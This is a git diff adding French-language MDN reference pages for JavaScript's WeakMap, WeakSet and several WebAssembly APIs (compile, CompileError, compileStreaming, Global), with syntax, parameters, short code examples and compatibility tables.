+ +

Étant donné que les références sont faibles, il est impossible d'énumérer les clés des objets WeakMap (c'est-à-dire qu'on ne dispose pas d'une méthode renvoyant la liste des clés). Si c'était le cas, la liste dépendrait d'un état lié au ramasse-miette et il n'y aurait pas de façon déterministe de connaître le résultat. Si vous souhaitez avoir une liste de clés, vous devriez plutôt utiliser un objet {{jsxref("Map")}}.

+ +

Propriétés

+ +
+
WeakMap.length
+
La valeur de la propriété length vaut 0.
+
{{jsxref("WeakMap.prototype")}}
+
Cette propriété représente le prototype du constructeur WeakMap. Il permet d'ajouter des propriétés pour toutes les instances de WeakMap.
+
+ +

Instances de WeakMap

+ +

Toutes les instances de WeakMap héritent de {{jsxref("WeakMap.prototype")}}.

+ +

Propriétés

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/WeakMap/prototype','Properties')}}

+ +

Méthodes

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/WeakMap/prototype','Methods')}}

+ +

Exemples

+ +

Utiliser WeakMap

+ +
var wm1 = new WeakMap(),
+    wm2 = new WeakMap(),
+    wm3 = new WeakMap();
+var o1 = {},
+    o2 = function(){},
+    o3 = window;
+
+wm1.set(o1, 37);
+wm1.set(o2, "azerty");
+wm2.set(o1, o2); // une valeur peut être n'importe quoi, y compris un objet ou une fonction
+wm2.set(o3, undefined);
+wm2.set(wm1, wm2); // Les clés et les valeurs peuvent n'importe quels objets, y compris des WeakMap
+
+wm1.get(o2); // "azerty"
+wm2.get(o2); // undefined car il n'y a pas de valeur pour o2 sur wm2
+wm2.get(o3); // undefined car c'est la valeur utilisée
+
+wm1.has(o2); // true
+wm2.has(o2); // false
+wm2.has(o3); // true (même si la valeur est 'undefined')
+
+wm3.set(o1, 37);
+wm3.get(o1); // 37
+
+wm1.has(o1);   // true
+wm1.delete(o1);
+wm1.has(o1);   // false
+
+
+ +

Implémenter une classe semblable à WeakMap avec une méthode .clear()

+ +
class ClearableWeakMap {
+    constructor(init) {
+        this._wm = new WeakMap(init)
+    }
+    clear() {
+        this._wm = new WeakMap()
+    }
+    delete(k) {
+        return this._wm.delete(k)
+    }
+    get(k) {
+        return this._wm.get(k)
+    }
+    has(k) {
+        return this._wm.has(k)
+    }
+    set(k, v) {
+        this._wm.set(k, v)
+        return this
+    }
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-weakmap-objects', 'WeakMap')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-weakmap-objects', 'WeakMap')}}{{Spec2('ES2015')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakMap")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/weakmap/set/index.html b/files/fr/web/javascript/reference/global_objects/weakmap/set/index.html new file mode 100644 index 0000000000..8754e8acc7 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/weakmap/set/index.html @@ -0,0 +1,90 @@ +--- +title: WeakMap.prototype.set() +slug: Web/JavaScript/Reference/Objets_globaux/WeakMap/set +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - WeakMap +translation_of: Web/JavaScript/Reference/Global_Objects/WeakMap/set +--- +
s{{JSRef}}
+ +

La méthode set() permet d'ajouter un nouvel élément avec une clé et une valeur à un objet WeakMap.

+ +
{{EmbedInteractiveExample("pages/js/weakmap-prototype-set.html")}}
+ + + +

Syntaxe

+ +
wm.set(clé, valeur);
+ +

Paramètres

+ +
+
clé
+
Ce paramètre est obligatoire et doit être un objet. Il correspond à la clé de l'élément qu'on souhaite ajouter à l'objet WeakMap.
+
valeur
+
Ce paramètre est obligatoire et peut avoir n'importe quel type. Il correspond à la valeur de l'élément qu'on souhaite ajouter à l'objet WeakMap.
+
+ +

Valeur de retour

+ +

Cette méthode renvoie l'objet WeakMap potentiellement mis à jour.

+ +

Exemples

+ +
var wm = new WeakMap();
+var obj = {};
+
+// Ajouter un nouvel élément à la WeakMap
+wm.set(obj, "toto").set(window, "truc"); // on peut chaîner les instructions
+
+// Mettre à jour un élément de la WeakMap
+wm.set(obj, "machin");
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakmap.prototype.set', 'WeakMap.prototype.set')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakmap.prototype.set', 'WeakMap.prototype.set')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakMap.set")}}

+ +

Notes relatives à Firefox

+ +
    +
  • Avant Firefox 33 {{geckoRelease("33")}}, WeakMap.prototype.set renvoyait undefined et ne pouvait donc pas être utilisé à la chaîne (voir l'exemple ci-avant). Ceci a été corrigé avec le {{bug(1031632)}}. Ce comportement a été le même pour Chrome/v8 et fut également corrigé (issue).
    • +
+ +

Voir aussi

+ +
    +
  • {{jsxref("WeakMap")}}
    • +
  • {{jsxref("WeakMap.prototype.get()")}}
    • +
  • {{jsxref("WeakMap.prototype.has()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/weakset/add/index.html b/files/fr/web/javascript/reference/global_objects/weakset/add/index.html new file mode 100644 index 0000000000..d965e5b8ac --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/weakset/add/index.html @@ -0,0 +1,84 @@ +--- +title: WeakSet.prototype.add() +slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/add +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - WeakSet +translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/add +--- +
{{JSRef}}
+ +

La méthode add() permet d'ajouter un nouvel objet à un objet WeakSet.

+ +
{{EmbedInteractiveExample("pages/js/weakset-prototype-add.html", "taller")}}
+ + + +

Syntaxe

+ +
ws.add(valeur);
+ +

Paramètres

+ +
+
valeur
+
Ce paramètre est obligatoire. Il correspond à l'objet qu'on souhaite ajouter à l'ensemble WeakSet.
+
+ +

Valeur de retour

+ +

L'objet {{jsxref("WeakSet")}}.

+ +

Exemples

+ +
var ws = new WeakSet();
+
+ws.add(window); // on ajouter l'objet window à l'objet WeakSet
+
+ws.has(window); // tru
+
+// WeakSet ne peut contenir que des objets
+ws.add(1);
+// TypeError: Invalid value used in weak set -> Chrome
+// TypeError: 1 is not a non-null obect -> Firefox
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakset.prototype.add', 'WeakSet.prototype.add')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakset.prototype.add', 'WeakSet.prototype.add')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakSet.add")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("WeakSet")}}
    • +
  • {{jsxref("WeakSet.prototype.delete()")}}
    • +
  • {{jsxref("WeakSet.prototype.has()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/weakset/clear/index.html b/files/fr/web/javascript/reference/global_objects/weakset/clear/index.html new file mode 100644 index 0000000000..b1a480bef3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/weakset/clear/index.html @@ -0,0 +1,48 @@ +--- +title: WeakSet.prototype.clear() +slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/clear +tags: + - JavaScript + - Méthode + - Obsolete + - Prototype + - Reference + - WeakSet +translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/clear +--- +
{{JSRef}}{{obsolete_header}}
+ +

La méthode clear() permettait de retirer tous les éléments d'un objet WeakSet mais celle-ci ne fait plus partie d'ECMAScript.

+ +

Syntaxe

+ +
ws.clear();
+ +

Exemples

+ +
var ws = new WeakSet();
+
+ws.add(window);
+ws.has(window);  // true
+
+ws.clear();
+
+ws.has(window); // false
+
+ +

Spécifications

+ +

Cette méthode ne fait partie d'aucune spécification ou brouillon. Cette méthode faisait partie du brouillon pour ECMAScript 6 jusqu'à la révision 28 (version en date du 14 octobre 2014) mais a été retirée par la suite. Elle ne fera pas partie du standard final.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakSet.clear")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("WeakSet")}}
    • +
  • {{jsxref("WeakSet.prototype.delete()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/weakset/delete/index.html b/files/fr/web/javascript/reference/global_objects/weakset/delete/index.html new file mode 100644 index 0000000000..e3cc7e72ba --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/weakset/delete/index.html @@ -0,0 +1,82 @@ +--- +title: WeakSet.prototype.delete() +slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/delete +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - WeakSet +translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/delete +--- +
{{JSRef}}
+ +

La méthode delete() permet de retirer un élément donné d'un objet WeakSet.

+ +
{{EmbedInteractiveExample("pages/js/weakset-prototype-delete.html")}}
+ + + +

Syntaxe

+ +
ws.delete(valeur);
+ +

Paramètre

+ +
+
valeur
+
Ce paramètre est obligatoire. Il correspond à l'objet qu'on souhaite retirer de l'ensemble WeakSet.
+
+ +

Valeur de retour

+ +

true si un élément de l'objet WeakSet a bien été retiré, false sinon (dans le cas où la clé n'a pas été trouvée ou si la clé n'est pas un objet).

+ +

Exemples

+ +
var ws = new WeakSet();
+var obj = {};
+
+ws.add(window);
+
+ws.delete(obj);    // Renvoie false. Aucun objet obj n'a été trouvé ni retiré.
+ws.delete(window); // Renvoie true, l'objet window a pu être retiré.
+
+ws.has(window);    // Renvoie false, window n'appartient plus au WeakSet.
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakset.prototype.delete', 'WeakSet.prototype.delete')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakset.prototype.delete', 'WeakSet.prototype.delete')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakSet.delete")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("WeakSet")}}
    • +
  • {{jsxref("WeakSet.prototype.clear()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/weakset/has/index.html b/files/fr/web/javascript/reference/global_objects/weakset/has/index.html new file mode 100644 index 0000000000..c4cd1f5eae --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/weakset/has/index.html @@ -0,0 +1,83 @@ +--- +title: WeakSet.prototype.has() +slug: Web/JavaScript/Reference/Objets_globaux/WeakSet/has +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - WeakSet +translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet/has +--- +
{{JSRef}}
+ +

La méthode has() renvoie un booléen indiquant si un objet donné est contenu dans l'ensemble WeakSet.

+ +
{{EmbedInteractiveExample("pages/js/weakset-prototype-has.html")}}
+ + + +

Syntaxe

+ +
ws.has(valeur);
+ +

Paramètres

+ +
+
valeur
+
Ce paramètre est obligatoire. Il représente l'objet dont on souhaite savoir s'il est, ou non, présent dans l'objet WeakSet.
+
+ +

Valeur renvoyée

+ +
+
Booléen
+
La méthode renvoie true si l'objet WeakSet contient bien un élément avec la valeur donnée, false sinon.
+
+ +

Exemples

+ +
var ws = new WeakSet();
+var obj = {};
+ws.add(window);
+
+mySet.has(window);  // renvoie true
+mySet.has(obj);     // renvoie false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakset.prototype.has', 'WeakSet.prototype.has')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakset.prototype.has', 'WeakSet.prototype.has')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakSet.has")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("WeakSet")}}
    • +
  • {{jsxref("WeakSet.prototype.add()")}}
    • +
  • {{jsxref("WeakSet.prototype.delete()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/weakset/index.html b/files/fr/web/javascript/reference/global_objects/weakset/index.html new file mode 100644 index 0000000000..fd72c59ba4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/weakset/index.html @@ -0,0 +1,146 @@ +--- +title: WeakSet +slug: Web/JavaScript/Reference/Objets_globaux/WeakSet +tags: + - ECMAScript 2015 + - JavaScript + - Reference + - WeakSet +translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet +--- +
{{JSRef}}
+ +

L'objet WeakSet permet de créer un ensemble dont les objets sont contenus avec des références faibles.

+ +

Syntaxe

+ +
new WeakSet([itérable]);
+ +

Paramètre

+ +
+
itérable
+
Si un objet itérable est présent comme argument, ses éléments seront ajoutés au nouvel objet WeakSet. {{jsxref("null")}} est traité comme {{jsxref("undefined")}}.
+
+ +

Exemples

+ +
var ws = new WeakSet();
+var toto = {};
+var truc = {};
+
+ws.add(toto);
+ws.add(truc);
+
+ws.has(toto);  // true
+ws.has(truc);  // true
+
+ws.delete(toto); // retire toto de l'ensemble
+ws.has(toto);    // false, toto a été enlevé
+
+ +

On notera que toto !== truc. Bien que ce soient des objets similaires, ce ne sont pas les mêmes objets. Aussi, les deux sont ajoutés à l'ensemble.

+ +

Description

+ +

Les WeakSet sont des ensembles d'objets. Un objet présent dans un objet WeakSet ne peut apparaître qu'une seule fois, il est unique pour un WeakSet donné.

+ +

Les principales différences avec l'objet {{jsxref("Set")}} sont les suivantes :

+ +
    +
  • Contrairement aux Sets, les WeakSets sont des ensembles uniquement constitués d'objets et ne peuvent pas contenir des valeurs de n'importe quel type.
    • +
  • L'objet WeakSet est faible : Les références vers les objets de l'ensemble sont des références faibles. Si aucune autre référence vers l'objet n'est présente en dehors du WeakSet, l'objet pourra alors être nettoyé par le ramasse-miette. Cela signifie également qu'on ne peut pas lister les objets contenus à un instant donné dans l'ensemble. Les objets WeakSets ne sont pas énumérables.
    • +
+ +

Propriétés

+ +
+
WeakSet.length
+
La valeur de la propriété length est 0.
+
{{jsxref("WeakSet.prototype")}}
+
Cette propriété représente le prototype pour le constructeur WeakSet. Il permet d'ajouter des propriétés pour tous les objets WeakSet.
+
+ +

Instances de WeakSet

+ +

Toutes les instances de WeakSet héritent de {{jsxref("WeakSet.prototype")}}.

+ +

Propriétés

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/WeakSet/prototype','Propri.C3.A9t.C3.A9s')}}

+ +

Méthodes

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/WeakSet/prototype','M.C3.A9thodes')}}

+ +

Exemples

+ +

Détecter les références circulaires

+ +

Les fonctions récursives doivent faire attention aux structures de données circulaire qu'elles consommeraient. Les objets WeakSets peuvent être utilisé pour ça :

+ +
// Appeler un callback sur ce qui est stocké dans un objet
+function execRecursively(fn, subject, _refs = null){
+  if(!_refs)
+    _refs = new WeakSet();
+
+  // On évite une récursion infinie
+  if(_refs.has(subject))
+    return;
+
+  fn(subject);
+  if("object" === typeof subject){
+    _refs.add(subject);
+    for(let key in subject)
+      execRecursively(fn, subject[key], _refs);
+  }
+}
+
+const toto = {
+  toto: "Toto",
+  truc: {
+    truc: "Truc"
+  }
+};
+
+toto.truc.machin = toto; // Référence circulaire !
+execRecursively(obj => console.log(obj), toto);
+
+ +

Ici, on a un objet WeakSet qui est créé lors de la première exécution et qui est passé ensuite à chaque appel qui suit (via l'argument interne _refs). Le nombre d'objets ou l'ordre de parcours n'a pas d'importance et un objet WeakSet est donc plus adapté (y compris en termes de performances) qu'un {{jsxref("Set")}}, notamment si un grand nombre d'objets sont concernés.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-weakset-objects', 'WeakSet')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-weakset-objects', 'WeakSet')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WeakSet")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Map")}}
    • +
  • {{jsxref("Set")}}
    • +
  • {{jsxref("WeakMap")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/compile/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/compile/index.html new file mode 100644 index 0000000000..9922106222 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/compile/index.html @@ -0,0 +1,89 @@ +--- +title: WebAssembly.compile() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/compile +tags: + - API + - JavaScript + - Méthode + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compile +--- +
{{JSRef}}
+ +

La méthode WebAssembly.compile(), permet de compiler un module ({{jsxref("WebAssembly.Module")}} à partir d'un code binaire WebAssembly. Cette fonction est utile lorsqu'il est nécessaire de compiler un module avant de l'instancier (dans les autres cas, la méthode {{jsxref("WebAssembly.instantiate()")}} sera plus pertinente).

+ +

Syntaxe

+ +
Promise<WebAssembly.Module> WebAssembly.compile(bufferSource);
+ +

Paramètres

+ +
+
bufferSource
+
Un tableau typé ou un {{jsxref("ArrayBuffer")}} contenant le bytecode du module WebAssembly qu'on souhaite compiler.
+
+ +

Valeur de retour

+ +

Une promesse ({{jsxref("Promise")}}) dont la valeur de résolution est une instance de {{jsxref("WebAssembly.Module")}} qui représente le module compilé.

+ +

Exceptions

+ +
    +
  • Si bufferSource n'est pas un tableau typé, une exception {{jsxref("TypeError")}} sera levée.
    • +
  • Si la compilation échoue, la promesse sera rompue avec une exception {{jsxref("WebAssembly.CompileError")}}.
    • +
+ +

Exemples

+ +

Dans l'exemple qui suit, on compile le bytecode simple.wasm grâce à la méthode compile() puis on envoie le contenu à un worker grâce à la méthode postMessage().

+ +
var worker = new Worker("wasm_worker.js");
+
+fetch('simple.wasm').then(response =>
+  response.arrayBuffer()
+).then(bytes =>
+  WebAssembly.compile(bytes)
+).then(mod =>
+  worker.postMessage(mod)
+);
+ +
+

Note : Dans la plupart des cas, mieux vaudra utiliser {{jsxref("WebAssembly.compileStreaming()")}} qui est plus efficace que compile().

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblycompile', 'compile()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.compile")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/compileerror/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/compileerror/index.html new file mode 100644 index 0000000000..69afe21895 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/compileerror/index.html @@ -0,0 +1,120 @@ +--- +title: WebAssembly.CompileError() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/CompileError +tags: + - API + - CompileError + - Constructeur + - Error + - JavaScript + - NativeError + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError +--- +
{{JSRef}}
+ +

Le constructeur WebAssembly.CompileError() permet de créer une nouvelle instance de CompileError qui indique qu'une erreur s'est produite lors du décodage du code WebAssembly ou lors de sa validation.

+ +

Syntaxe

+ +
new WebAssembly.CompileError(message, nomFichier, numeroLigne)
+ +

Paramètres

+ +
+
message {{optional_inline}}
+
Une description, compréhensible par un humain, de l'erreur qui s'est produite.
+
nomFichier {{optional_inline}}{{non-standard_inline}}
+
Le nom du fichier contenant le code à l'origine de l'exception.
+
numeroLigne {{optional_inline}}{{non-standard_inline}}
+
Le numéro de la ligne du fichier à l'origine de l'exception.
+
+ +

Propriétés

+ +

Le constructeur CompileError ne possède aucune propriété propre. En revanche, il hérite de certaines propriétés via sa chaîne de prototypes.

+ +
+
WebAssembly.CompileError.prototype.constructor
+
Définit la fonction qui crée le prototype d'une instance.
+
{{jsxref("Error.prototype.message", "WebAssembly.CompileError.prototype.message")}}
+
Le message qui décrit l'erreur. Bien qu'ECMA-262 indique que  l'instance devrait fournir sa propre propriété message, pour SpiderMonkey, celle-ci est héritée depuis {{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "WebAssembly.CompileError.prototype.name")}}
+
Le nom de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "WebAssembly.CompileError.prototype.fileName")}}
+
Le chemin vers le fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "WebAssembly.CompileError.prototype.lineNumber")}}
+
Le numéro de la ligne dans le fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "WebAssembly.CompileError.prototype.columnNumber")}}
+
Le numéro de la colonne dans la ligne du fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "WebAssembly.CompileError.prototype.stack")}}
+
La pile d'appel. Cette propriété est héritée via {{jsxref("Error")}}.
+
+ +

Méthodes

+ +

Le constructeur CompileError ne contient aucune méthode qui lui soit propre. En revanche, il hérite de certaines méthodes grâce à sa chaîne de prototypes.

+ +
+
{{jsxref("Error.prototype.toSource", "WebAssembly.CompileError.prototype.toSource()")}}
+
Cette méthode renvoie un code qui pourrait provoquer la même erreur. Elle est héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.toString", "WebAssembly.CompileError.prototype.toString()")}}
+
Cette méthode renvoie une chaîne de caractères qui représente l'objet de l'erreur. Elle est héritée via {{jsxref("Error")}}.
+
+ +

Exemples

+ +

Le fragment de code qui suit crée une instance de CompileError puis imprime ses détails dans la console :

+ +
try {
+  throw new WebAssembly.CompileError('Coucou', 'unFichier', 10);
+} catch (e) {
+  console.log(e instanceof CompileError); // true
+  console.log(e.message);                 // "Coucou"
+  console.log(e.name);                    // "CompileError"
+  console.log(e.fileName);                // "unFichier"
+  console.log(e.lineNumber);              // 10
+  console.log(e.columnNumber);            // 0
+  console.log(e.stack);                   // la pile d'appel pour le code
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}{{Spec2('WebAssembly JS')}}Brouillon pour la définition Initiale de WebAssembly.
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}{{Spec2('ESDraft')}}Définition des types standards pour NativeError.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.CompileError")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html new file mode 100644 index 0000000000..8dfca177d4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html @@ -0,0 +1,81 @@ +--- +title: WebAssembly.compileStreaming() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/compileStreaming +tags: + - API + - JavaScript + - Méthode + - Object + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming +--- +
{{JSRef}}
+ +

La fonction WebAssembly.compileStreaming() permet de compiler un module WebAssembly (c'est-à-dire un objet {{jsxref("WebAssembly.Module")}}) depuis un flux source. Cette fonction est utile si on doit compiler un module avant de l'instancier séparement, sinon on utilisera plutôt {{jsxref("WebAssembly.instantiateStreaming()")}}.

+ +

Syntaxe

+ +
Promise<WebAssembly.Module> WebAssembly.compileStreaming(source);
+ +

Paramètres

+ +
+
source
+
Un objet {{domxref("Response")}} ou une promesse qui sera résolue avec un objet {{domxref("Response")}} qui représentee la source du module .wasm qu'on souhaite manipuler comme un flux et compiler.
+
+ +

Valeur de retour

+ +

Un objet Promise dont la valeur de résolution est un objet {{jsxref("WebAssembly.Module")}} qui représente le module compilé.

+ +

Exceptions

+ +
    +
  • Si la compilation échoue, la promesse est rejetée avec une exception {{jsxref("WebAssembly.CompileError")}}.
    • +
+ +

Exemples

+ +

Dans l'exemple suivant (également disponible sur GitHub : compile-streaming.html et avec le résultat live), on récupère un flux dedpuis un module .wasm puis on le compile en un objet {{jsxref("WebAssembly.Module")}}. La fonction compileStreaming()  acceptant une promesse pour un objet {{domxref("Response")}}, on peut directement passer l'appel à  {{domxref("WindowOrWorkerGlobalScope.fetch()")}} qui transfèrera la réponse dès que la promesse sera tenue.

+ +
var importObject = { imports: { imported_func: arg => console.log(arg) } };
+
+WebAssembly.compileStreaming(fetch('simple.wasm'))
+.then(module => WebAssembly.instantiate(module, importObject))
+.then(instance => instance.exports.exported_func());
+ +

Le module est ensuite instancié grâce à la fonction {{jsxref("WebAssembly.instantiate()")}}. Enfin, on appelle la fonction exportée.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly Embedding', '#webassemblycompilestreaming', 'compileStreaming()')}}{{Spec2('WebAssembly Embedding')}}Brouillon pour la définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WebAssembly.compileStreaming")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/global/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/global/index.html new file mode 100644 index 0000000000..94ae405b8e --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/global/index.html @@ -0,0 +1,117 @@ +--- +title: WebAssembly.Global +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Global +tags: + - API + - Constructor + - JavaScript + - Reference + - TopicStub + - WebAssembly + - global +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global +--- +
{{JSRef}}
+ +

Un objet WebAssembly.Global représente une instance d'une variable globale, accessible depuis le code JavaScript et importable/exportable pour un ou plusieurs modules WebAssembly ({{jsxref("WebAssembly.Module")}}). Cela permet de lier dynamiquement plusieurs modules.

+ +

Syntaxe

+ +
var maGlobale = new WebAssembly.Global(descripteur, valeur);
+ +

Paramètres

+ +
+
descripteur
+
Un dictionnaire GlobalDescriptor qui contient deux propriétés : +
    +
  • value : une valeur {{domxref("USVString")}} qui représente le type de donnée de la variable globale. Ce type peut être i32, i64, f32 ou f64.
    • +
  • mutable : un booléen qui indique si la variable globale peut être modifiée ou non. Par défaut, cette propriété vaut false.
    • +
+
+
valeur
+
La valeur que la variable doit contenir. Ce peut être n'importe quelle valeur qui respecte le type de donnée de la variable. Si aucune valeur n'est indiquée, c'est une valeur nulle typée qui est utilisée, tel qu'indiqué dans l'algorithme DefaultValue.
+
+ +

Propriétés

+ +

Aucune.

+ +

Instances de WebAssembly.Global

+ +

Toutes les instances de Global héritent du prototype du constructeur Global(). Ce prototype peut être modifié afin d'avoir un impact sur l'ensemble des instances de Global.

+ +

Propriétés des instances

+ +

{{page('/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype', 'Propriétés')}}

+ +

Méthodes des instances

+ +

{{page('/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype', 'Méthodes')}}

+ +

Exemples

+ +

Dans l'exemple suivant, on montre comment créer une nouvelle instance globale grâce au constructeur WebAssembly.Global(). Cette instance globale est définie avec le type i32 et est indiquée comme modifiable. Sa valeur initiale est 0.

+ +

On change ensuite la valeur de la variable globale en la passant à 42 grâce à la propriété Global.value puis en la passant à 43 grâce à la fonction incGlobal() qui a été exportée depuis le module global.wasm (cette fonction ajoute 1 à n'imorte quelle valeur puis renvoie cette nouvelle valeur).

+ +
const output = document.getElementById('output');
+
+function assertEq(msg, got, expected) {
+    output.innerHTML += `Testing ${msg}: `;
+    if (got !== expected)
+        output.innerHTML += `FAIL!<br>Got: ${got}<br>Expected: ${expected}<br>`;
+    else
+        output.innerHTML += `SUCCESS! Got: ${got}<br>`;
+}
+
+assertEq("WebAssembly.Global exists", typeof WebAssembly.Global, "function");
+
+const global = new WebAssembly.Global({value:'i32', mutable:true}, 0);
+
+WebAssembly.instantiateStreaming(fetch('global.wasm'), { js: { global } })
+.then(({instance}) => {
+    assertEq("getting initial value from wasm", instance.exports.getGlobal(), 0);
+    global.value = 42;
+    assertEq("getting JS-updated value from wasm", instance.exports.getGlobal(), 42);
+    instance.exports.incGlobal();
+    assertEq("getting wasm-updated value from JS", global.value, 43);
+});
+ +
+

Note : Cet exemple est utilisable sur GitHub et son code source est également disponible.

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#globals', 'WebAssembly.Global()')}}{{Spec2('WebAssembly JS')}}Brouillon de spécification initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WebAssembly.Global")}}

+ +

Voir aussi

